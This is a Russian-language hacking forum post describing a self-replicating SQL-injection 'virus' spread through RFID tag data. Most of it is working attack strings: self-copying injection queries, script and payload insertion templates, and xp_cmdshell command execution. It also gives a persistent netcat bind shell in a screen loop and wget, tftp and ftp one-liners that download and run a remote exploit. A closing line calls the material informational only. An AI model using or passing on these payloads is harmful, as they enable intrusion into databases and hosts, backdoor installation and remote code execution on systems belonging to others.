Вирус в RFID-хакинге , структура.

Аватара пользователя
sergkax
Сообщения: 118
Зарегистрирован: Вс авг 27, 2017 8:42 pm

Вирус в RFID-хакинге , структура.

Сообщение sergkax » Сб сен 02, 2017 10:35 pm

Вирус в RFID-хакинге , структура.

{Введение}

В этой статье дополнение , по теме RFID-хакинга. Основы и начало изложены в первой статье по этому адресу . Из который мы узнали что , RFID- это Radio Frequency IDentification (радиочастотная идентификация) метод удаленного хранения и получения информации путем передачи радиосигналов с помощью устройств называемых RFID-метками.

{Про паразитов}

Основные функции вируса в данном виде атак , это самокопирование , и выполнение произвольного кода. Для этих целей паразит использует обычно базу данных. Детали зависят от базы данных, которая используется. В основном можно выделить два класса вирусов в данном виде атак: первый использует произвольные запросы в бд, второй всё осуществляет при помощи quines(спец программа).
Произвольный код который может выполнить вирус, зависит и от механизмов ответа базы данных на SQL-инъекций.

SQL-инъекций

В системах администрирования , обычно используется способ запросов RFID-меток из базы данных , с последующим возвратом данных, которые в свою очередь при правильной последовательности можно копировать. Так и копируют сами метки при наличии определенных факторов.

На данный момент можно рассмотреть два вида вирусов, первый это программа единичного запроса и второй , это использование многократных запросов.
Первый вид вируса , использует минимум места, и по своей структуре не может нести в себе боевой нагрузки. И используется лишь для ввода уже запланированной информации в базу данных. Вирус, использующий многократные запросы наоборот , уже создан для заражение систем аутоиндификации , и ввода вредоносного кода или же другой боевой нагрузки . Чаще всего используется второй способ, но для корректной работы ,этого типа вируса, требуется чтобы должным образом соблюдались некоторые условия в базе данных, а это обеспечение работы функции GetCurrentQuery-стиля, для доступа. Это нужно дабы избежать ошибки ,так как эта API фитча позволяет вводить комментарий. (спешу успокоить вас, данные функции изначально включены в системах по умолчанию)

Конкретные атаки можно осуществить, когда база данных сделала запрос в метке ,а та ответила вот таким содержанием

Код:

Код: Выделить всё

UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%'



Тут будет замнется в последующем переменные contents и id

Если данный запрос пройдет без ошибок, то нападающий может менять запрос по своему усмотрению при помощи нашей любимой кавычки ('') . А что можно сделать,??? А это добавить всего лишь сточку самокопирования в область NewContents и заражать другие системы аналогичным способом.

Вот примерно то что нам нужно :

Код:

Код: Выделить всё

Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) –

UPDATE ContainerContents SET OldContents='Apples', NewContents=SUBSTR(GetCurrentQuery (),43,57) -- WHERE TagId='123'

Вместо того, чтобы только обновлять область OldContents, запрос теперь также обновляет область NewContents. При помощи комментария SQL (-), в базе данных все ряды будут перемещены.Что открывает новые возможности для атакуещего.

Вставка вредоносного кода.

В описанной выше технологии инжектов , невозможно выполнение какого либо кода кроме запросов в базу данных.Однако при включении с клиентской стороны скриптенга , сервер автоматически становится уязвим. Скрипты могут быть вставлены после комментария, так, чтобы система базы данных проигнорировала их.
Единственное что нужно учесть , что при включении кода в эксплойте ,нужно учитывать третий параметр SUBSTR который должен соответствовать длине эксплойта.
Код:

Код: Выделить всё


Apples', NewContents=SUBSTR(GetCurrentQuery (),43,73) --<script>...</script> 
В более серьёзном варианте с использованием переменных, и вставок не только каких-то определенных скрипов это будет выглядеть так:
Код:

Код: Выделить всё

Apples'; UPDATE ContainerContents SET NewContents=NewContents || ''';' || GetCurrentQuery () || ';%payload%; --';%payload% -- 

Тут вредоносный код должен быть проработан дважды, Тоесть первый раз , это самокопирование в базу данных, второй раз это выполнение самого себя.

НА данный момент возможность комментария присутствует в Оракул (OCI/iSQL*Plus) Это обеспечивает функциональные возможности GetCurrentQuery-стиля, с последующими привилегиями администратора.PostgreSQL, MySQL и Сервер SQL так же позволяют комментарии и многократные инжект-запросы. Тут тоже присутствуют функциональные возможности GetCurrentQuery-стиля. Однако для PostgreSQL и Сервер SQL,ещё не созданы надёжные рабочие вирусы, все ограничилось лишь пробными разработками.

Несколько примеров вводимого вредоносного кода

Функции управления системы, обеспеченные базами данных, могут использоваться, чтобы вызвать проблемы. Например, Сервер Microsoft SQL обеспечивает функцию ЗАКРЫТИЯ, которая позволяет базе данных быть закрытой от SQL.
Чтение Данных от Базы

Код:

Код: Выделить всё

UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%' 
данные в нижеприведенном запросе может быть использован для прямых запросов в базу данных.
Код:

Код: Выделить всё

'|| (SELECT ...) ||' 

В этом случае, кавычки выполняют инъекцию SQL и заставляют данные интерпретироваться как кодекс. || оператор выполняет связь последовательности, вызывая результат ИЗБРАННОГО запроса быть добавленным к области в базе данных. Оператор связи последовательности требуется, для того, чтобы нитролизовать комментарий тоесть наши любимые кавычки.

Выполнение Shell-команд через SQL-инжект.

Сервер SQL обеспечивает xp_cmdshell процедуру, которая позволяет вредоносным и не очень, командам быть выполненными.
Код:

Код: Выделить всё

EXEC Master..xp_cmdshell 'commands';



Установка бэкдоров в системе.

Для протроянивания системы нам нужны следущте команды
Код:

Код: Выделить всё

netcat -lp1234|sh 

где будет прослушиваться 1234 порт.
Но тут нас подстерегает опасность, установленного и правильно настроенного фаирвола или брендмаура. И тут есть решение , запустить код в бесконечном цикле, так чтобы он работал как демон , что само по себе позволяет создать более продвинутый бэк.
Код:

Код: Выделить всё

screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done

Другие возможности

Есть ещё полезные фитчи, например wget.Тоесть загрузка файла по сети , и хранение файла в системе.
Код:

Код: Выделить всё


wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit; /tmp/myexploit



wget обычно не доступен на системах Windows. В этом случае, нужно использовать tftp
Код:

Код: Выделить всё

tftp -i ip GET myexploit.exe & myexploit 

Так же можно создать текстовый фаил , как говорится на лету , с использованием функции echo
Код:

Код: Выделить всё

echo anonymous & echo BIN & echo GET myexploit.exe & echo quit) > ftp.txt & ftp -s:ftp.txt ip & myexploit 

{Заключение}

В этой статье описывалось проникновение, в уязвимую систему по средством программирования RFID-меток .Тут конечно Я должен предупредить ,что весь изложенный материал представлен лишь для ознакомления. В виду сложности исполнения технологии, а именно создание самой метки и программирования её с злым умыслом , представляется мне через чур сложным для простого обывателя . Так что предупреждаю людей знающих но страдающих бездельем , не стоит проверять данную информацию на практике .

ИНФОРМАЦИЯ ВЗЯТА ОТ СЮДА!!!
it специалист
стартапы и все что с ними связанно
надеюсь стану одним из ваших любимых администраторов :D

Вернуться в «Разное»